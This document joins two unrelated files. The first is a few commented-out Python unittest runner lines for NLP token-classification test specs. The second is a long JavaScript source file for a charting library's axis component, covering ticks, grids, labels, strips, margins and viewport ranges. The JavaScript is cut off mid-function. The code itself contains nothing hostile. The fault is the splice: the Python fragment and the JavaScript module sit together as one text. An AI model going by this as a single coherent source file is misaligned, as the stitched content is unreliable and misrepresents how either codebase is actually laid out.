# unittest.TextTestRunner().run(XlmRoBertaForTokenClassificationTestSpec())
# unittest.TextTestRunner().run(AlbertForTokenClassificationTestSpec())
# unittest.TextTestRunner().run(XlnetForTokenClassificationTestSpec())
# unittest.TextTestRunner().run(LongformerForTokenClassificationTestSpec())
# Misc tests
# unittest.TextTestRunner().run(UtilitiesTestSpec())
# unittest.TextTestRunner().run(SerializersTestSpec())
# unittest.TextTestRunner().run(ResourceDownloaderShowTestSpec())
# Functions tests
# unittest.TextTestRunner().run(FunctionMapColumnsTestSpec())
# unittest.TextTestRunner().run(FunctionMapColumnTestSpec())
|
import { smartFormatter as _format, formatRange } from './smart_formatter';
import {
patchFontOptions,
getVizRangeObject,
getLogExt as getLog,
raiseToExt as raiseTo,
valueOf,
rotateBBox,
getCategoriesInfo,
adjustVisualRange,
getAddFunction,
convertVisualRangeObject
} from '../core/utils';
import { isDefined, isFunction, isPlainObject, type } from '../../core/utils/type';
import constants from './axes_constants';
import { extend } from '../../core/utils/extend';
import { inArray } from '../../core/utils/array';
import formatHelper from '../../format_helper';
import { getParser } from '../components/parse_utils';
import { tickGenerator } from './tick_generator';
import { Translator2D } from '../translators/translator2d';
import { Range } from '../translators/range';
import { tick } from './tick';
import { adjust } from '../../core/utils/math';
import dateUtils from '../../core/utils/date';
import { noop as _noop } from '../../core/utils/common';
import xyMethods from './xy_axes';
import * as polarMethods from './polar_axes';
import createConstantLine from './constant_line';
import createStrip from './strip';
import { Deferred, when } from '../../core/utils/deferred';
import { calculateCanvasMargins, measureLabels } from './axes_utils';
const convertTicksToValues = constants.convertTicksToValues;
const _math = Math;
const _abs = _math.abs;
const _max = _math.max;
const _min = _math.min;
const _isArray = Array.isArray;
const DEFAULT_AXIS_LABEL_SPACING = 5;
const MAX_GRID_BORDER_ADHENSION = 4;
const TOP = constants.top;
const BOTTOM = constants.bottom;
const LEFT = constants.left;
const RIGHT = constants.right;
const CENTER = constants.center;
const KEEP = 'keep';
const SHIFT = 'shift';
const RESET = 'reset';
const ROTATE = 'rotate';
const DEFAULT_AXIS_DIVISION_FACTOR = 50;
const DEFAULT_MINOR_AXIS_DIVISION_FACTOR = 15;
const SCROLL_THRESHOLD = 5;
const MIN_BAR_MARGIN = 5;
const MAX_MARGIN_VALUE = 0.8;
const dateIntervals = {
day: 86400000,
week: 604800000
};
function getTickGenerator(options, incidentOccurred, skipTickGeneration, rangeIsEmpty, adjustDivisionFactor, { allowNegatives, linearThreshold }) {
return tickGenerator({
axisType: options.type,
dataType: options.dataType,
logBase: options.logarithmBase,
allowNegatives,
linearThreshold,
axisDivisionFactor: adjustDivisionFactor(options.axisDivisionFactor || DEFAULT_AXIS_DIVISION_FACTOR),
minorAxisDivisionFactor: adjustDivisionFactor(options.minorAxisDivisionFactor || DEFAULT_MINOR_AXIS_DIVISION_FACTOR),
numberMultipliers: options.numberMultipliers,
calculateMinors: options.minorTick.visible || options.minorGrid.visible || options.calculateMinors,
allowDecimals: options.allowDecimals,
endOnTick: options.endOnTick,
incidentOccurred: incidentOccurred,
firstDayOfWeek: options.workWeek?.[0],
skipTickGeneration: skipTickGeneration,
skipCalculationLimits: options.skipCalculationLimits,
generateExtraTick: options.generateExtraTick,
minTickInterval: options.minTickInterval,
rangeIsEmpty
});
}
function createMajorTick(axis, renderer, skippedCategory) {
const options = axis.getOptions();
return tick(
axis,
renderer,
options.tick,
options.grid,
skippedCategory,
false
);
}
function createMinorTick(axis, renderer) {
const options = axis.getOptions();
return tick(
axis,
renderer,
options.minorTick,
options.minorGrid
);
}
function createBoundaryTick(axis, renderer, isFirst) {
const options = axis.getOptions();
return tick(
axis,
renderer,
extend({}, options.tick, { visible: options.showCustomBoundaryTicks }),
options.grid,
undefined,
false,
isFirst ? -1 : 1
);
}
function callAction(elements, action, actionArgument1, actionArgument2) {
(elements || []).forEach(e => e[action](actionArgument1, actionArgument2));
}
function initTickCoords(ticks) {
callAction(ticks, 'initCoords');
}
function drawTickMarks(ticks, options) {
callAction(ticks, 'drawMark', options);
}
function drawGrids(ticks, drawLine) {
callAction(ticks, 'drawGrid', drawLine);
}
function updateTicksPosition(ticks, options, animate) {
callAction(ticks, 'updateTickPosition', options, animate);
}
function updateGridsPosition(ticks, animate) {
callAction(ticks, 'updateGridPosition', animate);
}
function cleanUpInvalidTicks(ticks) {
let i = ticks.length - 1;
for(i; i >= 0; i--) {
if(!removeInvalidTick(ticks, i)) {
break;
}
}
for(i = 0; i < ticks.length; i++) {
if(removeInvalidTick(ticks, i)) {
i--;
} else {
break;
}
}
}
function removeInvalidTick(ticks, i) {
if(ticks[i].coords.x === null || ticks[i].coords.y === null) {
ticks.splice(i, 1);
return true;
}
return false;
}
function validateAxisOptions(options) {
const labelOptions = options.label;
let position = options.position;
const defaultPosition = options.isHorizontal ? BOTTOM : LEFT;
const secondaryPosition = options.isHorizontal ? TOP : RIGHT;
let labelPosition = labelOptions.position;
if(position !== defaultPosition && position !== secondaryPosition) {
position = defaultPosition;
}
if(!labelPosition || labelPosition === 'outside') {
labelPosition = position;
} else if(labelPosition === 'inside') {
labelPosition = {
[TOP]: BOTTOM,
[BOTTOM]: TOP,
[LEFT]: RIGHT,
[RIGHT]: LEFT
}[position];
}
if(labelPosition !== defaultPosition && labelPosition !== secondaryPosition) {
labelPosition = position;
}
if(labelOptions.alignment !== CENTER && !labelOptions.userAlignment) {
labelOptions.alignment = {
[TOP]: CENTER,
[BOTTOM]: CENTER,
[LEFT]: RIGHT,
[RIGHT]: LEFT
}[labelPosition];
}
options.position = position;
labelOptions.position = labelPosition;
options.hoverMode = options.hoverMode ? options.hoverMode.toLowerCase() : 'none';
labelOptions.minSpacing = labelOptions.minSpacing ?? DEFAULT_AXIS_LABEL_SPACING;
options.type && (options.type = options.type.toLowerCase());
options.argumentType && (options.argumentType = options.argumentType.toLowerCase());
options.valueType && (options.valueType = options.valueType.toLowerCase());
}
function getOptimalAngle(boxes, labelOpt) {
const angle = _math.asin((boxes[0].height + labelOpt.minSpacing) / (boxes[1].x - boxes[0].x)) * 180 / _math.PI;
return angle < 45 ? -45 : -90;
}
function updateLabels(ticks, step, func) {
ticks.forEach(function(tick, index) {
if(tick.getContentContainer()) {
if(index % step !== 0) {
tick.removeLabel();
} else if(func) {
func(tick, index);
}
}
});
}
function getZoomBoundValue(optionValue, dataValue) {
if(optionValue === undefined) {
return dataValue;
} else if(optionValue === null) {
return undefined;
} else {
return optionValue;
}
}
function configureGenerator(options, axisDivisionFactor, viewPort, screenDelta, minTickInterval) {
const tickGeneratorOptions = extend({}, options, {
endOnTick: true,
axisDivisionFactor,
skipCalculationLimits: true,
generateExtraTick: true,
minTickInterval
});
return function(tickInterval, skipTickGeneration, min, max, breaks) {
return getTickGenerator(tickGeneratorOptions, _noop, skipTickGeneration, viewPort.isEmpty(), v => v, viewPort)(
{
min: min,
max: max,
categories: viewPort.categories,
isSpacedMargin: viewPort.isSpacedMargin
},
screenDelta,
tickInterval,
isDefined(tickInterval),
undefined,
undefined,
undefined,
breaks
);
};
}
function getConstantLineSharpDirection(coord, axisCanvas) {
return Math.max(axisCanvas.start, axisCanvas.end) !== coord ? 1 : -1;
}
export const Axis = function(renderSettings) {
const that = this;
that._renderer = renderSettings.renderer;
that._incidentOccurred = renderSettings.incidentOccurred;
that._eventTrigger = renderSettings.eventTrigger;
that._stripsGroup = renderSettings.stripsGroup;
that._stripLabelAxesGroup = renderSettings.stripLabelAxesGroup;
that._labelsAxesGroup = renderSettings.labelsAxesGroup;
that._constantLinesGroup = renderSettings.constantLinesGroup;
that._scaleBreaksGroup = renderSettings.scaleBreaksGroup;
that._axesContainerGroup = renderSettings.axesContainerGroup;
that._gridContainerGroup = renderSettings.gridGroup;
that._axisCssPrefix = renderSettings.widgetClass + '-' + (renderSettings.axisClass ? renderSettings.axisClass + '-' : '');
that._setType(renderSettings.axisType, renderSettings.drawingType);
that._createAxisGroups();
that._translator = that._createTranslator();
that.isArgumentAxis = renderSettings.isArgumentAxis;
that._viewport = {};
that._prevDataInfo = {};
that._firstDrawing = true;
that._initRange = {};
that._getTemplate = renderSettings.getTemplate;
};
Axis.prototype = {
constructor: Axis,
_drawAxis() {
const options = this._options;
if(!options.visible) {
return;
}
this._axisElement = this._createAxisElement();
this._updateAxisElementPosition();
this._axisElement.attr({ 'stroke-width': options.width, stroke: options.color, 'stroke-opacity': options.opacity })
.sharp(this._getSharpParam(true), this.getAxisSharpDirection())
.append(this._axisLineGroup);
},
_createPathElement(points, attr, sharpDirection) {
return this.sharp(this._renderer.path(points, 'line').attr(attr), sharpDirection);
},
sharp(svgElement, sharpDirection = 1) {
return svgElement.sharp(this._getSharpParam(), sharpDirection);
},
customPositionIsAvailable() {
return false;
},
getOrthogonalAxis: _noop,
getCustomPosition: _noop,
getCustomBoundaryPosition: _noop,
resolveOverlappingForCustomPositioning: _noop,
hasNonBoundaryPosition() {
return false;
},
customPositionIsBoundaryOrthogonalAxis() {
return false;
},
getResolvedBoundaryPosition() {
return this.getOptions().position;
},
getAxisSharpDirection() {
const position = this.getResolvedBoundaryPosition();
return this.hasNonBoundaryPosition() || position !== BOTTOM && position !== RIGHT ? 1 : -1;
},
getSharpDirectionByCoords(coords) {
const canvas = this._getCanvasStartEnd();
const maxCoord = Math.max(canvas.start, canvas.end);
return this.getRadius ? 0 : (maxCoord !== coords[(this._isHorizontal ? 'x' : 'y')] ? 1 : -1);
},
_getGridLineDrawer: function() {
const that = this;
return function(tick, gridStyle) {
const grid = that._getGridPoints(tick.coords);
if(grid.points) {
return that._createPathElement(grid.points, gridStyle, that.getSharpDirectionByCoords(tick.coords));
}
return null;
};
},
_getGridPoints: function(coords) {
const that = this;
const isHorizontal = this._isHorizontal;
const tickPositionField = isHorizontal ? 'x' : 'y';
const orthogonalPositions = this._orthogonalPositions;
const positionFrom = orthogonalPositions.start;
const positionTo = orthogonalPositions.end;
const borderOptions = that.borderOptions;
const canvasStart = isHorizontal ? LEFT : TOP;
const canvasEnd = isHorizontal ? RIGHT : BOTTOM;
const axisCanvas = that.getCanvas();
const canvas = {
left: axisCanvas.left,
right: axisCanvas.width - axisCanvas.right,
top: axisCanvas.top,
bottom: axisCanvas.height - axisCanvas.bottom
};
const firstBorderLinePosition = (borderOptions.visible && borderOptions[canvasStart]) ? canvas[canvasStart] : undefined;
const lastBorderLinePosition = (borderOptions.visible && borderOptions[canvasEnd]) ? canvas[canvasEnd] : undefined;
const minDelta = MAX_GRID_BORDER_ADHENSION + firstBorderLinePosition;
const maxDelta = lastBorderLinePosition - MAX_GRID_BORDER_ADHENSION;
if(that.areCoordsOutsideAxis(coords) ||
coords[tickPositionField] === undefined ||
(coords[tickPositionField] < minDelta || coords[tickPositionField] > maxDelta)) {
return { points: null };
}
return {
points: isHorizontal
? (coords[tickPositionField] !== null ? [coords[tickPositionField], positionFrom, coords[tickPositionField], positionTo] : null)
: (coords[tickPositionField] !== null ? [positionFrom, coords[tickPositionField], positionTo, coords[tickPositionField]] : null)
};
},
_getConstantLinePos: function(parsedValue, canvasStart, canvasEnd) {
const value = this._getTranslatedCoord(parsedValue);
if(!isDefined(value) || value < _min(canvasStart, canvasEnd) || value > _max(canvasStart, canvasEnd)) {
return undefined;
}
return value;
},
_getConstantLineGraphicAttributes: function(value) {
const positionFrom = this._orthogonalPositions.start;
const positionTo = this._orthogonalPositions.end;
return {
points: this._isHorizontal ? [value, positionFrom, value, positionTo] : [positionFrom, value, positionTo, value]
};
},
_createConstantLine: function(value, attr) {
return this._createPathElement(this._getConstantLineGraphicAttributes(value).points, attr, getConstantLineSharpDirection(value, this._getCanvasStartEnd()));
},
_drawConstantLineLabelText: function(text, x, y, { font, cssClass }, group) {
return this._renderer.text(text, x, y)
.css(patchFontOptions(extend({}, this._options.label.font, font)))
.attr({ align: 'center', 'class': cssClass })
.append(group);
},
_drawConstantLineLabels: function(parsedValue, lineLabelOptions, value, group) {
const that = this;
let text = lineLabelOptions.text;
const options = that._options;
const labelOptions = options.label;
that._checkAlignmentConstantLineLabels(lineLabelOptions);
text = text ?? that.formatLabel(parsedValue, labelOptions);
const coords = that._getConstantLineLabelsCoords(value, lineLabelOptions);
return that._drawConstantLineLabelText(text, coords.x, coords.y, lineLabelOptions, group);
},
_getStripPos: function(startValue, endValue, canvasStart, canvasEnd, range) {
const isContinuous = !!(range.minVisible || range.maxVisible);
const categories = (range.categories || []).reduce(function(result, cat) {
result.push(cat.valueOf());
return result;
}, []);
let start;
let end;
let swap;
let startCategoryIndex;
let endCategoryIndex;
if(!isContinuous) {
if(isDefined(startValue) && isDefined(endValue)) {
const parsedStartValue = this.parser(startValue);
const parsedEndValue = this.parser(endValue);
startCategoryIndex = inArray(isDefined(parsedStartValue) ? parsedStartValue.valueOf() : undefined, categories);
endCategoryIndex = inArray(isDefined(parsedEndValue) ? parsedEndValue.valueOf() : undefined, categories);
if(startCategoryIndex === -1 || endCategoryIndex === -1) {
return { from: 0, to: 0, outOfCanvas: true };
}
if(startCategoryIndex > endCategoryIndex) {
swap = endValue;
endValue = startValue;
startValue = swap;
}
}
}
if(isDefined(startValue)) {
startValue = this.validateUnit(startValue, 'E2105', 'strip');
start = this._getTranslatedCoord(startValue, -1);
} else {
start = canvasStart;
}
if(isDefined(endValue)) {
endValue = this.validateUnit(endValue, 'E2105', 'strip');
end = this._getTranslatedCoord(endValue, 1);
} else {
end = canvasEnd;
}
const stripPosition = (start < end) ? { from: start, to: end } : { from: end, to: start };
const visibleArea = this.getVisibleArea();
if(stripPosition.from <= visibleArea[0] && stripPosition.to <= visibleArea[0] || stripPosition.from >= visibleArea[1] && stripPosition.to >= visibleArea[1]) {
stripPosition.outOfCanvas = true;
}
return stripPosition;
},
_getStripGraphicAttributes: function(fromPoint, toPoint) {
let x;
let y;
let width;
let height;
const orthogonalPositions = this._orthogonalPositions;
const positionFrom = orthogonalPositions.start;
const positionTo = orthogonalPositions.end;
if(this._isHorizontal) {
x = fromPoint;
y = _min(positionFrom, positionTo);
width = toPoint - fromPoint;
height = _abs(positionFrom - positionTo);
} else {
x = _min(positionFrom, positionTo);
y = fromPoint;
width = _abs(positionFrom - positionTo);
height = _abs(fromPoint - toPoint);
}
return {
x: x,
y: y,
width: width,
height: height
};
},
_createStrip: function(attrs) {
return this._renderer.rect(attrs.x, attrs.y, attrs.width, attrs.height);
},
_adjustStripLabels: function() {
const that = this;
this._strips.forEach(function(strip) {
if(strip.label) {
strip.label.attr(that._getAdjustedStripLabelCoords(strip));
}
});
},
_adjustLabelsCoord(offset, maxWidth, checkCanvas) {
const that = this;
const getContainerAttrs = tick => this._getLabelAdjustedCoord(tick, offset + (tick.labelOffset || 0), maxWidth, checkCanvas);
that._majorTicks.forEach(function(tick) {
if(tick.label) {
tick.updateMultilineTextAlignment();
tick.label.attr(getContainerAttrs(tick));
} else {
tick.templateContainer && tick.templateContainer.attr(getContainerAttrs(tick));
}
});
},
_adjustLabels: function(offset) {
const that = this;
const options = that.getOptions();
const positionsAreConsistent = options.position === options.label.position;
const maxSize = that._majorTicks.reduce(function(size, tick) {
if(!tick.getContentContainer()) return size;
const bBox = tick.labelRotationAngle ? rotateBBox(tick.labelBBox, [tick.labelCoords.x, tick.labelCoords.y], -tick.labelRotationAngle) : tick.labelBBox;
return {
width: _max(size.width || 0, bBox.width),
height: _max(size.height || 0, bBox.height),
offset: _max(size.offset || 0, tick.labelOffset || 0)
};
}, {});
const additionalOffset = positionsAreConsistent ? (that._isHorizontal ? maxSize.height : maxSize.width) : 0;
that._adjustLabelsCoord(offset, maxSize.width);
return offset + additionalOffset + (additionalOffset && that._options.label.indentFromAxis) + (positionsAreConsistent ? maxSize.offset : 0);
},
_getLabelAdjustedCoord: function(tick, offset, maxWidth) {
offset = offset || 0;
const that = this;
const options = that._options;
const templateBox = tick.templateContainer && tick.templateContainer.getBBox();
const box = templateBox || rotateBBox(tick.labelBBox, [ tick.labelCoords.x, tick.labelCoords.y ], -tick.labelRotationAngle || 0);
const textAlign = tick.labelAlignment || options.label.alignment;
const isDiscrete = that._options.type === 'discrete';
const isFlatLabel = tick.labelRotationAngle % 90 === 0;
const indentFromAxis = options.label.indentFromAxis;
const labelPosition = options.label.position;
const axisPosition = that._axisPosition;
const labelCoords = tick.labelCoords;
const labelX = labelCoords.x;
let translateX;
let translateY;
if(that._isHorizontal) {
if(labelPosition === BOTTOM) {
translateY = axisPosition + indentFromAxis - box.y + offset;
} else {
translateY = axisPosition - indentFromAxis - (box.y + box.height) - offset;
}
if(textAlign === RIGHT) {
translateX = isDiscrete && isFlatLabel ? tick.coords.x - (box.x + box.width) : labelX - box.x - box.width;
} else if(textAlign === LEFT) {
translateX = isDiscrete && isFlatLabel ? labelX - box.x - (tick.coords.x - labelX) : labelX - box.x;
} else {
translateX = labelX - box.x - box.width / 2;
}
} else {
translateY = labelCoords.y - box.y - box.height / 2;
if(labelPosition === LEFT) {
if(textAlign === LEFT) {
translateX = axisPosition - indentFromAxis - maxWidth - box.x;
} else if(textAlign === CENTER) {
translateX = axisPosition - indentFromAxis - maxWidth / 2 - box.x - box.width / 2;
} else {
translateX = axisPosition - indentFromAxis - box.x - box.width;
}
translateX -= offset;
} else {
if(textAlign === RIGHT) {
translateX = axisPosition + indentFromAxis + maxWidth - box.x - box.width;
} else if(textAlign === CENTER) {
translateX = axisPosition + indentFromAxis + maxWidth / 2 - box.x - box.width / 2;
} else {
translateX = axisPosition + indentFromAxis - box.x;
}
translateX += offset;
}
}
return {
translateX: translateX,
translateY: translateY
};
},
_createAxisConstantLineGroups: function() {
const that = this;
const renderer = that._renderer;
const classSelector = that._axisCssPrefix;
const constantLinesClass = classSelector + 'constant-lines';
const insideGroup = renderer.g().attr({ 'class': constantLinesClass });
const outsideGroup1 = renderer.g().attr({ 'class': constantLinesClass });
const outsideGroup2 = renderer.g().attr({ 'class': constantLinesClass });
return {
inside: insideGroup,
outside1: outsideGroup1,
left: outsideGroup1,
top: outsideGroup1,
outside2: outsideGroup2,
right: outsideGroup2,
bottom: outsideGroup2,
remove: function() {
this.inside.remove();
this.outside1.remove();
this.outside2.remove();
},
clear: function() {
this.inside.clear();
this.outside1.clear();
this.outside2.clear();
}
};
},
_createAxisGroups: function() {
const that = this;
const renderer = that._renderer;
const classSelector = that._axisCssPrefix;
that._axisGroup = renderer.g().attr({ 'class': classSelector + 'axis' }).enableLinks();
that._axisStripGroup = renderer.g().attr({ 'class': classSelector + 'strips' });
that._axisGridGroup = renderer.g().attr({ 'class': classSelector + 'grid' });
that._axisElementsGroup = renderer.g().attr({ 'class': classSelector + 'elements' });
that._axisLineGroup = renderer.g().attr({ 'class': classSelector + 'line' }).linkOn(that._axisGroup, 'axisLine').linkAppend();
that._axisTitleGroup = renderer.g().attr({ 'class': classSelector + 'title' }).append(that._axisGroup);
that._axisConstantLineGroups = {
above: that._createAxisConstantLineGroups(),
under: that._createAxisConstantLineGroups(),
};
that._axisStripLabelGroup = renderer.g().attr({ 'class': classSelector + 'axis-labels' });
},
_clearAxisGroups: function() {
const that = this;
that._axisGroup.remove();
that._axisStripGroup.remove();
that._axisStripLabelGroup.remove();
that._axisConstantLineGroups.above.remove();
that._axisConstantLineGroups.under.remove();
that._axisGridGroup.remove();
that._axisTitleGroup.clear();
if((!that._options.label.template || !that.isRendered())) { // for react async templates
that._axisElementsGroup.remove();
that._axisElementsGroup.clear();
}
that._axisLineGroup && that._axisLineGroup.clear();
that._axisStripGroup && that._axisStripGroup.clear();
that._axisGridGroup && that._axisGridGroup.clear();
that._axisConstantLineGroups.above.clear();
that._axisConstantLineGroups.under.clear();
that._axisStripLabelGroup && that._axisStripLabelGroup.clear();
},
_getLabelFormatObject: function(value, labelOptions, range, point, tickInterval, ticks) {
range = range || this._getViewportRange();
const formatObject = {
value: value,
valueText: _format(value, {
labelOptions: labelOptions,
ticks: ticks || convertTicksToValues(this._majorTicks),
tickInterval: tickInterval ?? this._tickInterval,
dataType: this._options.dataType,
logarithmBase: this._options.logarithmBase,
type: this._options.type,
showTransition: !this._options.marker.visible,
point: point
}) || '',
// B252346
min: range.minVisible,
max: range.maxVisible
};
// for crosshair's customizeText
if(point) {
formatObject.point = point;
}
return formatObject;
},
formatLabel: function(value, labelOptions, range, point, tickInterval, ticks) {
const formatObject = this._getLabelFormatObject(value, labelOptions, range, point, tickInterval, ticks);
return isFunction(labelOptions.customizeText) ? labelOptions.customizeText.call(formatObject, formatObject) : formatObject.valueText;
},
formatHint: function(value, labelOptions, range) {
const formatObject = this._getLabelFormatObject(value, labelOptions, range);
return isFunction(labelOptions.customizeHint) ? labelOptions.customizeHint.call(formatObject, formatObject) : undefined;
},
formatRange(startValue, endValue, interval) {
return formatRange(startValue, endValue, interval, this.getOptions());
},
_setTickOffset: function() {
const options = this._options;
const discreteAxisDivisionMode = options.discreteAxisDivisionMode;
this._tickOffset = +(discreteAxisDivisionMode !== 'crossLabels' || !discreteAxisDivisionMode);
},
resetApplyingAnimation: function(isFirstDrawing) {
this._resetApplyingAnimation = true;
if(isFirstDrawing) {
this._firstDrawing = true;
}
},
isFirstDrawing() {
return this._firstDrawing;
},
getMargins: function() {
const that = this;
const { position, offset, customPosition, placeholderSize, grid, tick, crosshairMargin } = that._options;
const isDefinedCustomPositionOption = isDefined(customPosition);
const boundaryPosition = that.getResolvedBoundaryPosition();
const canvas = that.getCanvas();
const cLeft = canvas.left;
const cTop = canvas.top;
const cRight = canvas.width - canvas.right;
const cBottom = canvas.height - canvas.bottom;
const edgeMarginCorrection = _max(grid.visible && grid.width || 0, tick.visible && tick.width || 0);
const constantLineAboveSeries = that._axisConstantLineGroups.above;
const constantLineUnderSeries = that._axisConstantLineGroups.under;
const boxes = [that._axisElementsGroup,
constantLineAboveSeries.outside1, constantLineAboveSeries.outside2,
constantLineUnderSeries.outside1, constantLineUnderSeries.outside2,
that._axisLineGroup
]
.map(group => group && group.getBBox())
.concat((function(group) {
const box = group && group.getBBox();
if(!box || box.isEmpty) {
return box;
}
if(that._isHorizontal) {
box.x = cLeft;
box.width = cRight - cLeft;
} else {
box.y = cTop;
box.height = cBottom - cTop;
}
return box;
})(that._axisTitleGroup));
const margins = calculateCanvasMargins(boxes, canvas);
margins[position] += crosshairMargin;
if(that.hasNonBoundaryPosition() && isDefinedCustomPositionOption) {
margins[boundaryPosition] = 0;
}
if(placeholderSize) {
margins[position] = placeholderSize;
}
if(edgeMarginCorrection) {
if(that._isHorizontal && canvas.right < edgeMarginCorrection && margins.right < edgeMarginCorrection) {
margins.right = edgeMarginCorrection;
}
if(!that._isHorizontal && canvas.bottom < edgeMarginCorrection && margins.bottom < edgeMarginCorrection) {
margins.bottom = edgeMarginCorrection;
}
}
if(!isDefinedCustomPositionOption && isDefined(offset)) {
const moveByOffset = that.customPositionIsBoundary() &&
((offset > 0 && (boundaryPosition === LEFT || boundaryPosition === TOP)) ||
(offset < 0 && (boundaryPosition === RIGHT || boundaryPosition === BOTTOM)));
margins[boundaryPosition] -= moveByOffset ? offset : 0;
}
return margins;
},
validateUnit: function(unit, idError, parameters) {
const that = this;
unit = that.parser(unit);
if(unit === undefined && idError) {
that._incidentOccurred(idError, [parameters]);
}
return unit;
},
_setType: function(axisType, drawingType) {
const that = this;
let axisTypeMethods;
switch(axisType) {
case 'xyAxes':
axisTypeMethods = xyMethods;
break;
case 'polarAxes':
axisTypeMethods = polarMethods;
break;
}
extend(that, axisTypeMethods[drawingType]);
},
_getSharpParam: function() {
return true;
},
_disposeBreaksGroup: _noop,
// public
dispose: function() {
const that = this;
[that._axisElementsGroup, that._axisStripGroup, that._axisGroup].forEach(function(g) { g.dispose(); });
that._strips = that._title = null;
that._axisStripGroup = that._axisConstantLineGroups = that._axisStripLabelGroup = that._axisBreaksGroup = null;
that._axisLineGroup = that._axisElementsGroup = that._axisGridGroup = null;
that._axisGroup = that._axisTitleGroup = null;
that._axesContainerGroup = that._stripsGroup = that._constantLinesGroup = that._labelsAxesGroup = null;
that._renderer = that._options = that._textOptions = that._textFontStyles = null;
that._translator = null;
that._majorTicks = that._minorTicks = null;
that._disposeBreaksGroup();
that._templatesRendered && that._templatesRendered.reject();
},
getOptions: function() {
return this._options;
},
setPane: function(pane) {
this.pane = pane;
this._options.pane = pane;
},
setTypes: function(type, axisType, typeSelector) {
this._options.type = type || this._options.type;
this._options[typeSelector] = axisType || this._options[typeSelector];
this._updateTranslator();
},
resetTypes: function(typeSelector) {
this._options.type = this._initTypes.type;
this._options[typeSelector] = this._initTypes[typeSelector];
},
getTranslator: function() {
return this._translator;
},
updateOptions: function(options) {
const that = this;
const labelOpt = options.label;
validateAxisOptions(options);
that._options = options;
options.tick = options.tick || {};
options.minorTick = options.minorTick || {};
options.grid = options.grid || {};
options.minorGrid = options.minorGrid || {};
options.title = options.title || {};
options.marker = options.marker || {};
that._initTypes = {
type: options.type,
argumentType: options.argumentType,
valueType: options.valueType
};
that._setTickOffset();
that._isHorizontal = options.isHorizontal;
that.pane = options.pane;
that.name = options.name;
that.priority = options.priority;
that._hasLabelFormat = labelOpt.format !== '' && isDefined(labelOpt.format);
that._textOptions = {
opacity: labelOpt.opacity,
align: 'center',
'class': labelOpt.cssClass
};
that._textFontStyles = patchFontOptions(labelOpt.font);
if(options.type === constants.logarithmic) {
if(options.logarithmBaseError) {
that._incidentOccurred('E2104');
delete options.logarithmBaseError;
}
}
that._updateTranslator();
that._createConstantLines();
that._strips = (options.strips || []).map(o => createStrip(that, o));
that._majorTicks = that._minorTicks = null;
that._firstDrawing = true;
},
calculateInterval: function(value, prevValue) {
const options = this._options;
if(!options || (options.type !== constants.logarithmic)) {
return _abs(value - prevValue);
}
const { allowNegatives, linearThreshold } = new Range(this.getTranslator().getBusinessRange());
return _abs(getLog(value, options.logarithmBase, allowNegatives, linearThreshold) - getLog(prevValue, options.logarithmBase, allowNegatives, linearThreshold));
},
getCanvasRange() {
const translator = this._translator;
return {
startValue: translator.from(translator.translate('canvas_position_start')),
endValue: translator.from(translator.translate('canvas_position_end'))
};
},
_processCanvas: function(canvas) {
return canvas;
},
updateCanvas: function(canvas, canvasRedesign) {
if(!canvasRedesign) {
const positions = this._orthogonalPositions = {
start: !this._isHorizontal ? canvas.left : canvas.top,
end: !this._isHorizontal ? canvas.width - canvas.right : canvas.height - canvas.bottom
};
positions.center = positions.start + (positions.end - positions.start) / 2;
} else {
this._orthogonalPositions = null;
}
this._canvas = canvas;
this._translator.updateCanvas(this._processCanvas(canvas));
this._initAxisPositions();
},
getCanvas: function() {
return this._canvas;
},
getAxisShift() {
return this._axisShift || 0;
},
hideTitle: function() {
const that = this;
if(that._options.title.text) {
that._incidentOccurred('W2105', [that._isHorizontal ? 'horizontal' : 'vertical']);
that._axisTitleGroup.clear();
}
},
getTitle: function() {
return this._title;
},
hideOuterElements: function() {
const that = this;
const options = that._options;
if((options.label.visible || that._outsideConstantLines.length) && !that._translator.getBusinessRange().isEmpty()) {
that._incidentOccurred('W2106', [that._isHorizontal ? 'horizontal' : 'vertical']);
that._axisElementsGroup.clear();
callAction(that._outsideConstantLines, 'removeLabel');
}
},
_resolveLogarithmicOptionsForRange(range) {
const options = this._options;
if(options.type === constants.logarithmic) {
range.addRange({
allowNegatives: options.allowNegatives !== undefined ? options.allowNegatives : (range.min <= 0)
});
if(!isNaN(options.linearThreshold)) {
range.linearThreshold = options.linearThreshold;
}
}
},
adjustViewport(businessRange) {
const that = this;
const options = that._options;
const isDiscrete = options.type === constants.discrete;
let categories = that._seriesData && that._seriesData.categories || [];
const wholeRange = that.adjustRange(getVizRangeObject(options.wholeRange));
const visualRange = that.getViewport() || {};
const result = new Range(businessRange);
that._addConstantLinesToRange(result, 'minVisible', 'maxVisible');
let minDefined = isDefined(visualRange.startValue);
let maxDefined = isDefined(visualRange.endValue);
if(!isDiscrete) {
minDefined = minDefined && (!isDefined(wholeRange.endValue) || visualRange.startValue < wholeRange.endValue);
maxDefined = maxDefined && (!isDefined(wholeRange.startValue) || visualRange.endValue > wholeRange.startValue);
}
const minVisible = minDefined ? visualRange.startValue : result.minVisible;
const maxVisible = maxDefined ? visualRange.endValue : result.maxVisible;
if(!isDiscrete) {
result.min = wholeRange.startValue ?? result.min;
result.max = wholeRange.endValue ?? result.max;
} else {
const categoriesInfo = getCategoriesInfo(categories, wholeRange.startValue, wholeRange.endValue);
categories = categoriesInfo.categories;
result.categories = categories;
}
const adjustedVisualRange = adjustVisualRange({
axisType: options.type,
dataType: options.dataType,
base: options.logarithmBase
}, {
startValue: minDefined ? visualRange.startValue : undefined,
endValue: maxDefined ? visualRange.endValue : undefined,
length: visualRange.length
}, {
categories,
min: wholeRange.startValue,
max: wholeRange.endValue
}, {
categories,
min: minVisible,
max: maxVisible
});
result.minVisible = adjustedVisualRange.startValue;
result.maxVisible = adjustedVisualRange.endValue;
!isDefined(result.min) && (result.min = result.minVisible);
!isDefined(result.max) && (result.max = result.maxVisible);
result.addRange({}); // controlValuesByVisibleBounds
that._resolveLogarithmicOptionsForRange(result);
return result;
},
adjustRange(range) {
range = range || {};
const isDiscrete = this._options.type === constants.discrete;
const isLogarithmic = this._options.type === constants.logarithmic;
const disabledNegatives = this._options.allowNegatives === false;
if(isLogarithmic) {
range.startValue = disabledNegatives && range.startValue <= 0 ? null : range.startValue;
range.endValue = disabledNegatives && range.endValue <= 0 ? null : range.endValue;
}
if(!isDiscrete && isDefined(range.startValue) && isDefined(range.endValue) && range.startValue > range.endValue) {
const tmp = range.endValue;
range.endValue = range.startValue;
range.startValue = tmp;
}
return range;
},
_getVisualRangeUpdateMode(viewport, newRange, oppositeValue) {
let value = this._options.visualRangeUpdateMode;
const translator = this._translator;
const range = this._seriesData;
const prevDataInfo = this._prevDataInfo;
